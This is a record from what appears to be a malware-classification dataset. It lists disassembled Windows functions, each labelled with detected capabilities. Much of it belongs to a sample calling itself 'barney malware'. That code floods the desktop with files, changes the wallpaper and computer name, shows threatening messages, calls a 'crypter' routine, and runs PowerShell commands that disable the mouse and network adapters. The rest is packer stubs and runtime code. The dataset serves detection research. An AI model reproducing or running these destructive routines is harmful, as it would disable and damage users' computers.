joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400015db
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x90], rcx
lea rax, str.USERPROFILE
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x70], rax
cmp qword [rbp + 0x70], 0
jne 0x14000163c
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x27
mov edx, 1
lea rax, str.Error:_Unable_to_get_the_desktop_path._n
mov rcx, rax
call sym.fwrite
jmp 0x140001715
mov rdx, qword [rbp + 0x70]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcpy
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x60]
add rax, rdx
movabs rcx, 0x706f746b7365445c
mov qword [rax], rcx
mov word [rax + 8], 0x5c
mov dword [rbp + 0x7c], 1
jmp 0x140001708
mov ecx, dword [rbp + 0x7c]
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x60]
mov r9d, ecx
mov r8, rdx
lea rdx, str._sYOU_GOT_BARNIED_d.barney
mov rcx, rax
call dbg.sprintf
lea rax, [rbp - 0x60]
lea rdx, [0x140005063]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
je 0x1400016cb
mov rax, qword [rbp + 0x68]
mov rcx, rax
call sym.fclose
mov rdx, qword [rbp + 0x70]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcpy
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x60]
add rax, rdx
movabs rcx, 0x706f746b7365445c
mov qword [rax], rcx
mov word [rax + 8], 0x5c
add dword [rbp + 0x7c], 1
cmp dword [rbp + 0x7c], 0x7a120
jle 0x140001681
add rsp, 0x100
pop rbp
ret

Function at 0x14000171e
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov dword [rbp - 0x18], 0
lea rax, [rbp - 0x14]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.SoftwareMyApp
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x1400017d2
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.MyValue
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x70
pop rbp
ret
Function at 0x140001a98
Capabilities:
Change the wallpaper
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
lea rax, str.e_35m
mov rcx, rax
call dbg.printf
lea rax, str._________________________________________________________.___._n____________________________________________________n_____________________________________________________n__________________________________________________n________________________________________________________n_________________________________________________
mov rcx, rax
call sym.puts
mov ecx, 0xa
call sym.putchar
lea rax, str._____________________Malware_Author:_Azrael_________n___________You_got_infected_by_barney_malware_:D_n_________Goodluck_on_trying_to_recover_your_computer.
mov rcx, rax
call sym.puts
lea rax, str.e_0m
mov rcx, rax
call dbg.printf
mov ecx, 0xa
call sym.putchar
mov dword [rbp - 4], 0
jmp 0x140001b26
mov r9d, 0x112
lea r8, str.BARNEY
lea rax, str.You_got_infected_by_barney__nyour_computer_isnt_yours_anymore_but_belongs_to_barney._nBARNEY
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
add dword [rbp - 4], 1
cmp dword [rbp - 4], 9
jle 0x140001afd
mov r9d, 3
lea r8, str.wallpaper.jpg
mov edx, 0
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_SystemParametersInfoW]
call rax
lea rax, str.Barney
mov rdx, rax
mov ecx, 4
mov rax, qword [sym.imp.KERNEL32.dll_SetComputerNameExA]
call rax
mov dword [rbp - 8], 0
jmp 0x140001b80
lea rax, str.start_https:__www.google.com_search_qbarneyislookingforyou
mov rcx, rax
call sym.system
add dword [rbp - 8], 1
cmp dword [rbp - 8], 0x13
jle 0x140001b6d
mov r8d, 0x20001
mov edx, 0
lea rax, str.music.wav
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_PlaySoundA]
call rax
lea rax, str.powershell__Command__Disable_PnpDevice__InstanceId__Get_PnpDevice__FriendlyName__HID_compliant_mouse__.InstanceId__Confirm:_false_
mov rcx, rax
call sym.system
lea rax, str.powershell__Command__Get_NetAdapter__Disable_NetAdapter__Confirm:_false_
mov rcx, rax
call sym.system
mov dword [rbp - 0x14], 0xf01ff00
mov qword [rbp - 0x10], 4
movabs rax, 0x616279656e726162
movabs rdx, 0x776c616d79656e72
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov dword [rbp - 0x20], 0x657261
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov r8, qword [rbp - 0x10]
lea rcx, [rbp - 0x14]
lea rax, [rbp - 0x30]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.crypter
nop
add rsp, 0x50
pop rbp
ret

Function at 0x140001f00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001f70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140008094]
mov rbx, rcx
test esi, esi
jle 0x1400020a0
mov rax, qword [0x140008098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001fbb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002045
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001fa0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1400020c2
mov rax, qword [0x140008098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400020a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000203e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140002050
add dword [0x140008094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140008098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000203e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001fc8
mov rax, qword [0x140008098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002650
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x1400026ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400026a3
test eax, eax
jne 0x1400026a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002688
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400028c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400028d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400028e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400028f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000293d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002934
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000293f
add rax, 0x28
cmp rax, r9
jne 0x140002920
xor eax, eax
ret

Function at 0x140002940
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400029d0
mov rdx, qword [0x1400057e0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400029be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400029be
cmp word [rax + 0x18], 0x20b
jne 0x1400029be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400029d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400029a9
add rbx, 0x28
cmp rbx, rdi
je 0x1400029d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400029a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400029e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400057e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002a00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002a08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002a5d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002a54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002a00
add rax, 0x28
cmp rax, r9
jne 0x140002a40
xor eax, eax
ret

Function at 0x140002a60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400057e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002a7f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002a88
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002a7f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002aa0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400057e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002ac0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002ac8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002ac0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002b10
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002b07
test rcx, rcx
je 0x140002ac0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002af8
xor eax, eax
ret
Function at 0x140002b20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400057e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002b3f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002b48
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002b60
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400057e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002b80
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002b88
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002b80
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002b80
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002bd4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002be0
add rdx, 0x28
cmp rdx, r9
jne 0x140002bc0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002bf0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400057e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002c12
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002c20
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002c12
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002c12
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002c12
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002c75
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002c88
add rdx, 0x28
cmp r10, rdx
jne 0x140002c60
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002c97
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002ca7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002c7e
test ecx, ecx
jg 0x140002c90
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1404bcb20
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1404bcb2d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1404bcb3d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1404bcb25
lea eax, [rcx + 1]
jmp 0x1404bcb4b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1404bcb5e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1404bcb44
sub eax, 3
jb 0x1404bcb7e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1404bcbcd
sar eax, 1
movsxd rbp, eax
jb 0x1404bcbb4
jmp 0x1404bcb8c
add ebx, ebx
jne 0x1404bcb8a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1404bcbb4
inc ecx
add ebx, ebx
jne 0x1404bcb9a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1404bcbb4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1404bcbad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1404bcb9c
add ecx, 2
jmp 0x1404bcbb9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1404bcae2
jmp 0x1404bcb2d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xa9a00
mov dl, 0x1a
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1404bcc19
cmp rsi, rcx
jae 0x1404bcc21
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1404bcc00
cmp al, 0x8f
ja 0x1404bcc00
cmp byte [rsi - 2], 0xf
je 0x1404bcc06
sub al, 0xe8
cmp al, 1
ja 0x1404bcbea
cmp rsi, rcx
jae 0x1404bcc21
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1404bcbf0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1404bcc21
lodsb al, byte [rsi]
jmp 0x1404bcc00
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x4b9000]
mov eax, dword [rdi]
or eax, eax
je 0x1404bcc7e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x4bc000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1404bcc2e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1404bcc78
mov qword [rbx], rax
add rbx, 8
jmp 0x1404bcc4e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1404bccb8
cmp al, 0xef
ja 0x1404bccaa
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1404bcc8a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1404bcc99
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.1404bcd37], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.1404bcd37
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1404bcd27
sub rsp, 0xffffffffffffff80
jmp 0x1400013f0
Function at 0x14007d430
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14007d43d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14007d44d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14007d435
lea eax, [rcx + 1]
jmp 0x14007d45b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14007d46e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14007d454
sub eax, 3
jb 0x14007d48e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14007d4dd
sar eax, 1
movsxd rbp, eax
jb 0x14007d4c4
jmp 0x14007d49c
add ebx, ebx
jne 0x14007d49a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14007d4c4
inc ecx
add ebx, ebx
jne 0x14007d4aa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14007d4c4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14007d4bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14007d4ac
add ecx, 2
jmp 0x14007d4c9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14007d3f2
jmp 0x14007d43d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x28800
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14007d529
cmp rsi, rcx
jae 0x14007d531
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14007d510
cmp al, 0x8f
ja 0x14007d510
cmp byte [rsi - 2], 0xf
je 0x14007d516
sub al, 0xe8
cmp al, 1
ja 0x14007d4fa
cmp rsi, rcx
jae 0x14007d531
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14007d500
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14007d531
lodsb al, byte [rsi]
jmp 0x14007d510
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x7b000]
mov eax, dword [rdi]
or eax, eax
je 0x14007d59a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x9560c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14007d53e
jns 0x14007d573
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14007d57d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14007d594
mov qword [rbx], rax
add rbx, 8
jmp 0x14007d55e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14007d5d4
cmp al, 0xef
ja 0x14007d5c6
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14007d5a6
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14007d5b5
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14007d628
sub rsp, 0xffffffffffffff80
jmp 0x14000afb0
Function at 0x14002c860
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x718], 0
mov rsi, r9
mov rbp, r8
movsxd rbx, edx
mov rdi, rcx
je 0x14002c8be
mov dl, 1
call fcn.14001d240
mov rax, qword [rdi + 0x670]
mov r9, rsi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.14001d240
mov eax, ebx
jmp 0x14002c902
cmp ebx, 2
ja 0x14002c900
mov r9, qword [rdi + 0x668]
lea rdx, [0x14006c1a8]
lea rcx, [rbx + rbx*2]
add rcx, rdx
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14002c920
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rdi
sub rsp, 0x160
mov rax, qword [0x140084080]
xor rax, rsp
mov qword [rsp + 0x140], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
jne 0x14002c963
cmp qword [rcx + 0x678], 0
je 0x14002ca40
mov r8, rdx
mov qword [rsp + 0x158], rbx
mov edx, pe_nt_image_headers64
lea r9, [rsp + 0x180]
lea rcx, [rsp + 0x30]
call fcn.14003d3b0
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x14002c991
mov rcx, qword [rdi + 0x678]
test rcx, rcx
je 0x14002c9d8
cmp byte [rdi + 0x1597], 0
jne 0x14002c9d8
lea rdx, [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14002c9c0
mov byte [rdi + 0x1597], 1
cmp byte [rdi + 0xf1e], 0
je 0x14002ca38
mov byte [rsp + rbx + 0x30], 0xa
inc rbx
cmp rbx, 0x102
jae 0x14002ca93
cmp qword [rdi + 0x718], 0
mov byte [rsp + rbx + 0x30], 0
je 0x14002ca59
mov dl, 1
mov rcx, rdi
call fcn.14001d240
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.14001d240
mov rbx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400674f0
add rsp, 0x160
pop rdi
ret
mov r9, qword [rdi + 0x668]
lea rcx, [0x14006c1a8]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x14002ca38
call fcn.140067ca4
int3
Function at 0x14002caa0
Capabilities:
Write file on windows

Disassembly:
test rcx, rcx
je 0x14002cc06
mov r11, rsp
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
push rdi
sub rsp, 0x860
mov rax, qword [0x140084080]
xor rax, rsp
mov qword [rsp + 0x840], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
je 0x14002cbee
mov r8, rdx
mov qword [r11 - 0x10], rbx
mov edx, 0x801
lea r9, [r11 + 0x18]
lea rcx, [rsp + 0x30]
call fcn.14003d3b0
movsxd rcx, eax
mov rbx, 0xffffffffffffffff
cmp rcx, 0x801
jb 0x14002cb61
mov rcx, qword [rsp + 0x878]
mov rax, rbx
nop word [rax + rax]
cmp byte [rcx + rax + 1], 0
lea rax, [rax + 1]
jne 0x14002cb20
cmp byte [rax + rcx - 1], 0xa
jne 0x14002cb48
lea r8, str...._n
mov edx, 5
lea rcx, [rsp + 0x82c]
jmp 0x14002cb5c
lea r8, [0x14006c1c8]
mov edx, 4
lea rcx, [rsp + 0x82d]
call fcn.14003d2b0
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], 0
